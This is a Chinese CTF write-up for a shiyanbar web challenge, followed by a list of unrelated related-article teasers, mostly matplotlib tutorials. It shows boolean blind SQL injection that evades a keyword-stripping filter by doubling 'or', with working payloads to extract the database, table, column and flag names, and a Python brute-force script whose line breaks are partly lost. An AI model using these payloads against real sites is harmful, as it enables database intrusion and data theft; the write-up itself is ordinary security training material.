实验吧 认真一点

article/2025/8/28 23:28:13

        本实验是输入id获取结果,查看页面源码,没有什么注释信息。随便输入个1,结果为You are in ...............,其他的id显示为You are not in ...............

        使用Burp suite进行模糊测试,结果为or部分sql命令都可以使用。

        但是使用or命令注入失败,但是从模糊测试来看是没有屏蔽or关键字,应该是后台删去了or关键字。使用oorr进行替换,当后台删去or时,or左边的o与右边的r新形成一个or关键字。

      因此可以通过判断形成的SQL语句结果结果是否为1确定查询内容的正确性,首先确定数据库名长度。构造id=0'oorr(length(database())=len)oorr'0判断数据库名长度。len是要确定的长度。使用burp suite进行破解,发现len=18。


       然后对数据库名爆破,针对每一位数据库的字母进行爆破。以第一位为例,可以看出爆破结果为c或C。整个数据库名可以全部爆破出来。数据库名为ctf_sql_bool_blind。其中id=0'oorr((mid((user())from(y)foorr(x)))='%s')oorr'0中的foorr是为了避免删除or,在删除or后形成for。


        可以通过构建相应语句爆破库中表名及列名及列中元素值。本打算先爆破数据库中表的长度,但是测试到30多位依然不通过,直接爆破表名,表应该有两个,一个为fiag,另一个为users。不知道为什么后面会有一堆-------,在本地数据库测试时只有表名。使用爆破语句,id=0'oorr((select(mid(group_concat(table_name separatoorr '@')from(x)foorr(1)))from

(infoorrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='y')oorr'0;x为位数,y为字符。

        为了方便也可以写脚本。从表名上看flag应该在表fiag中。


        直接对fiag表进行列名爆破,使用爆破语句id=0'oorr((select(mid(group_concat(column_name separatoorr '@')

from(x)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='y')oorr'0;只有一列,列名为fl$4g,

对列中值爆破。使用payload:id=0'oorr((select(mid((fl$4g)from(x)foorr(1)))from(fiag))='y')oorr'0;最终爆破出flag:flag{haha~you-win!}但是flag中-是个错误的字符,就想flag个后面多余的--,最终试出-替代的是' '.即flag{haha~you win!}

        用于爆破的python脚本。

# -*- coding:utf8 -*-import requestschars ='~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'len =len(chars)url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'mys=requests.session()true_state=b'You are in'result =''# 爆破数据库长度 18#    payload = "0'oorr((length(database()))=%s)oorr'0"%(x)
#
#    myd={'id':payload}
#
#    res=mys.post(url, data=myd).content
#
#    if true_state in res:
#
#        print(x)
#
#        print('true')#爆破数据库名 ctf_sql_bool_blind# for x in range(18):
#
#     for y in chars:
#
#         payload = "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(x+1, y)
#
#         myd = {'id': payload}
#
#         res = mys.post(url, data=myd).content
#
#
#         print(str(y))
#
#         if true_state in res:
#
#             result = result + y
#
#             print('true'+str(x)+str(y))
#
#             break
#
# print(result)#爆破表名 fiag@users#爆破列名 fl$4g@id@username@passwordfor x in range(50):for y in chars:# payload = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='%s')oorr'0"%(x+1,y)# payload = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(x+1,y)payload = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0" % (x + 1, y)payload = payload.replace(' ', chr(0x0a))myd = {'id': payload}res=mys.post(url, data=myd).contentprint(str(y))if true_state in res:result = result + yprint('true'+" "+str(x)+" "+result)breakprint(result)






http://chatgpt.dhexx.cn/article/8NTk8JiJ.shtml

相关文章

实验吧_网站综合渗透_Discuz!

前言 这个一个实验吧中的环境,分值为50分,下面是题目说明。诶,发现自己很菜。 实验吧_网站综合渗透_dedecms解析地址 需要的学会或者已经掌握的知识 已知cms版本在线搜索通用漏洞掌握菜刀或者类似的工具的使用其他 题目说明 你是国内一流安…

实验吧-简单的登录题——WriteUp再研究

前言 这个题目的难点就是在于对于CBC加密方式尤其是解密这部分要琢磨一番,让我想起当年大学的时候信安三勇中的两勇的课,一门密码学,一门数学基础,可怕之极。这个题网上writeup一大堆,但是在一些方面解释的不是很详细…

实验吧-简单的登录题

前言 这是在实验吧上面的一道web题。主要考察cbc字节反转攻击。 分析 题目开始就是输入id去登录 首先想到的就是sql注入了,输入1后页面显示Hello,重新载入的话页面返回报错信息 确实存在注入,看那后面的逗号,猜测注入点在limit后面。然后试了很多,发现题目把union,#…

前端框架是什么意思?

说起前端框架,很多人都不知道是什么意思,下面本篇文章就来给大家介绍一下前端框架是什么意思?希望对大家有所帮助。 前端框架是什么意思? 前端框架一般指用于简化网页设计的框架,使用广泛的前端开发套件,比…

优秀的前端开发框架

优秀的前端开发框架 1.Vue Vue2文档:Vue.js Vue3文档:Vue.js - 渐进式 JavaScript 框架 | Vue.js 用于构建用户界面的渐进式框架 Vue的核心库只关注视图层。可与elementUI配合Element - The worlds most popular Vue UI framework 2.React 原先的Fa…

matplotlib 绘图 显示中文

参考: Matplotlib中正确显示中文的四种方式 在 matplotlib 中无法直接显示中文(比如使用: plt.xlabel(), plt.ylabel, plt.title()等) from matplotlib import pyplot as pltplt.plot(np.arange(5)) plt.xlabel(x 标签) plt.ylabel(y 标签) plt.title(标题) plt.show()运行上述…

Matplotlib入门:等高线图contour

import matplotlib.pyplot as plt import numpy as npdef f(x,y):return (1-x/2x**5y**3)*np.exp(-x**2-y**2)n 256 x np.linspace(-3,3,n) y np.linspace(-3,3,n)# 生成网格 X,Y np.meshgrid(x,y)# contourf 会在等高线之间进行填充 plt.contourf(X,Y,f(X,Y),8,alpha0.75,…

matplotlib设置坐标轴

import numpy as np设置x,y范围 x np.linspace(-3,3,100) y1 2*x 1 y2 x**2#xy范围 plt.xlim((-1,2)) plt.ylim((-2,3))plt.plot(x,y1,colorred,linewidth1.0,linestyle--) plt.plot(x,y2,colorblue,linewidth5.0,linestyle-) #color指的是线的颜色,linewidth指…

python安装matplotlib画图模块

在python中会使用很多图标的东西作为可视化输出的必不可少的内容。matplotlib提供了很好的图形化显示。 下面就如何快速安装matplotlib做一下简要的说明: 博主用的python版本是3.8.2 win R 输入 python 一般情况下我们用pip安装一些python模块的时候都会提示 先升…

Python Matplotlib 绘制表格

Python Matplotlib 绘制表格 ​ 最近因为开发一个项目,需要用到Matplotlib绘制一些图片和表格,网上找到的一些,感觉总差点意思,绘制个表格感觉有点过于麻烦,因此自己整理了下。 ​ 绘制方法直接使用Matplotlib绘制&a…

Matplotlib快速入门

1. Matplotlib 常用模块 Matplotlib 库中主要包含两个重要模块 pyplob 和 pylab。pyplot 是 Matplotlib 中的一个重要模块,在后续教程中,我们会经常使用 pyplot,该模块允许我们自动、隐式地创建图形及其轴,以实现所需的绘图&…

Matplotlib之Figure的使用

Matplotlib之Figure的使用 意义实现方法代码实例现象 拓展(图像参数设置)图像的展现曲线的展现代码及现象 意义 figure是画图的窗口,本文主要解决我们想多个窗口显示多样的数据时的问题 实现方法 代码实例 下面展示一些 内联代码片。 im…

matplotlib隐藏坐标轴

1. 隐藏x坐标轴 import matplotlib.pyplot as pltx [3, 4, 4, 6, 7, 8, 8, 12] y [11, 12, 12, 14, 17, 15, 14, 19]fig, ax plt.subplots(figsize(6, 6), dpi100)ax.scatter(x, y) # 显示辅助线 ax.grid(True) # 1. 隐藏x坐标轴 ax.get_xaxis().set_visible(False) fig.sh…

Matplotlib的颜色

Matplotlib的颜色 下面是一段代码示例: plt.figure() plt.rcParams[font.family] [SimHei] x [男, 女] y1 [923, 1013] y2 [1393, 1741] plt.bar(range(2), y1, width0.2, facecolorred, label糖尿病患者) plt.bar([i0.2 for i in range(2)], y2, width0.2, …

matplotlib

今天我们来介绍一下python的一个可视化工具matplotlib matplotlib 使用matplotlib的方式有很多,但最通常的是Pylab模式的ipython(-ipython –pylab) matplotlib的api都位于matplotlib.pyplot中,所以一般的引入方式为: import matplotlib.…

Matplotlib绘制动图

简介 Matplotlib是非常著名的Python绘图库,支持非常复杂的底层定制化操作。本文通过Matplotlib中的动画绘制工具来讲解如何绘制动态图,首先讲解通过交互模式如何显示动态图,继而讲解通过两个动画类来实现动图地保存(GIF格式&…

python使用matplotlib绘图

文章目录 一、模块介绍二、模块安装三、主要API介绍设置绘图风格plt.style.use()新建画布plt.figure()绘制折线图plt.plot()绘制垂直柱状图plt.bar()绘制水平柱状图plt.barh()绘制饼状图plt.pie()绘制散点图plt.scatter()设置横纵坐标的标签plt.xlabel(), plt.ylabel()添加文字…

零基础学Python:Matplotlib用法

本文目录: 一、初识matplotlib二、线形图plot()函数用法 三、散点图scatter()函数用法 四、饼状图pie()函数用法 五、直方图hist()函数用法 前言: 📢📢📢 🏅&…

Matplotlib库的介绍及使用

Matplotlib库的介绍及使用 1. pyplot子库的基本使用1.1 Matplotlib库的介绍1.2 plot函数1.3 pyplot的中文显示1.4 pyplot的文本显示 2. pyplot基础图表函数2.1 pyplot饼图的绘制2.2 pyplot直方图的绘制2.3 pyplot极坐标图的绘制2.4 pyplot散点图的绘制 1. pyplot子库的基本使用…

【Python数据分析】Matplotlib的初步认识

文章目录 1.什么是Matplotlib2.常见图形种类及意义1.折线图2.散点图3.柱状图4.直方图5.饼图 3.认识Matplotlib图像结构1.第一层2.第二层3.第三层 4.折线图初体验1.设置标题2.中文显示3.自定义X轴刻度4.一图多线5.一图多个坐标系子图 1.什么是Matplotlib Matplotlib是一个Pytho…